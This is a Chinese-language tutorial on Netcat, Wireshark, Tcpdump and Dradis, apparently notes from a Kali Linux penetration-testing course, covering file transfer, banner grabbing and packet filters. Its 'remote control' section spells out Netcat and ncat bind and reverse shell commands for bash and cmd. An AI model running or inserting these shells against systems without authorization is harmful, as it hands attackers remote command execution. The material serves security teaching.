Netcat,Wireshark,Tcpdump简介与使用

Netcat,Tcpdump

NETCAT—NC
1. 网络工具中的瑞士军刀—小身材,大智慧
2. 侦听模式/传统模式
3. telnet/获取banner信息,nc使用telnet远程连接,
命令为:nc –nv 目标地址 目标端口
4. 传输文本信息(默认不加密):
例:A:nc –l –p 4444 作为服务端
-l表示打开监听模式,打开某个端口
-P:后面指定具体的端口
B:连接A主机:nc –nv A的地址 (4444)端口号,然后两台电脑就可以聊天啦
5. 传输文件/目录(默认不加密):
传输文件:
A作为接收端打开端口:nc –lp 333 > 1.mp4(B里面的文件名)
B作为发送端:nc –nv 1.1.1.1(A的地址) 333 < 1.mp4(B里面的文件) -q 1
传输目录:
6. 加密控制/木马
7. 加密所有的流量
8. 流媒体服务器
9. 远程克隆硬盘
使用mtr软件可以追踪路由:mtr +ip地址,需要安装mtr软件包
在kali linux下进行base64编码:
加密:：
echo HelloWorld | base64
加密后得到的值为:SGVsbG9Xb3JsZAo=
解密：
echo SGVsbG9Xb3JsZAo= | base64 -d
解密之后得到的值为:HelloWorld
在kali终端下输入:nc –h查看nc使用方法
-v:显示详细的连接信息
-n:连接IP地址,只能是纯数字,不能是域名
例:nc –vn 123.125.50.29(网易邮箱) 110(端口) :远程连接网易邮箱的110端口,可以显示其邮箱信息
使用netstat –pantu 查看端口信息
使用nc进行远程远程电子取证(尽一切可能在被审计的对象系统上尽量少的修改系统现有的状态,避免破坏可以收集到的证据)
1:在一台客户端监听某端口:nc -l -p 333
2:在另一台被审计的对象系统上输入:ls –l | nc –nv 10.1.1.1 333,如此输入不破坏证据
3:参数-q +数字表示在进行一个命令之后多少秒之后自动断开
NC—-远程控制
LINUX下:A主机:nc –l –p 3333 –c bash (-c bash指定把bash命令传送给本机的3333端口)
B主机:nc –nv 10.1.1.1 3333
或者:A主机:nc –l –p 3333
B主机:nc –nv 10.1.1.1 3333 –c bash(则是B主机远程控制A主机 )
WINDOWS下:A主机:nc –l –p 3333 –c cmd
B主机:nc –nv 10.1.1.1 3333
NC的缺点:nc缺乏加密和身份验证的能力,不同系统/平台的nc
ncat弥补nc的缺陷,包含与nmap工具包中
ncat管道是加密的,被嗅探也不容易被看到
A:ncat –c bash –allow 10.1.1.1 –vnl 333 –ssl
(–allow:允许哪个具体的Ip地址连接本机
–ssl:使用ssl协议将通信管道进行加密)
B:ncat –nv 1.1.1.1 333 –ssl
Wireshark:
抓包嗅探协议分析
安全专家必备的技能
抓包引擎:Libpcap9—–Linux
Winpcap10—–Windows
解码能力
使用方法:1,选择一个用来抓包的网卡
2,开启抓包,可以设置抓包的内容
3,保存为.pcap格式,适用于其他抓包软件的格式
Promiscuous mode :混杂模式
Wireshark—-筛选器
1,过滤掉干扰的数据包
2,抓包筛选器
3,显示筛选器

TCPDUMP:1,no-GUI的抓包分析工具
2,Linux,Unix系统默认安装
抓包:默认只抓68个字节
tcpdump –i eth0 –s 0 –w file.pcap
tcpdump –i eth0 port 22:指定抓取eth0网卡22号端口的包
读取抓包文件:tcpdump –r file.pcap
参数: -I :指定特定的端口去抓包
-s:指定抓取包的大小,后面跟数字0表示抓完整的包
-w:把抓到的所有包放到某个文件里面去,后面指定文件名
-r:读取数据包内容,如:tcpdump –r a.cap

TCPDUMP—–显示筛选器
1,tcpdump –n –r http.cap | awk ‘{print $3}’ | sort –u
-n表示不把ip地址转化成域名,只使用ip的形式去抓包
然后把输出的内容只显示第三列的内容
Sort –u:排序,去除重复项,只保存有用项
2,tcpdump –n src host 145.254.160.237 –r http.cap
Src host ip:表示只选取源主机地址为本IP的数据包信息
3,tcpdump –n dst host 145.254.160.237 –r http.cap
dst host ip:表示只选取目的主机地址为本IP的数据包信息
4,tcpdump –n port 80 –r http.cap
查看在http.cap这个文件里面端口号为80的数据包信息
Port +端口号:指定特定的端口号
过程文档记录:
Dradis:适用临时小团队资源共享/导入插件导入文件
其侦听3004端口,默认不需要登陆账号,只设置密码就可以进入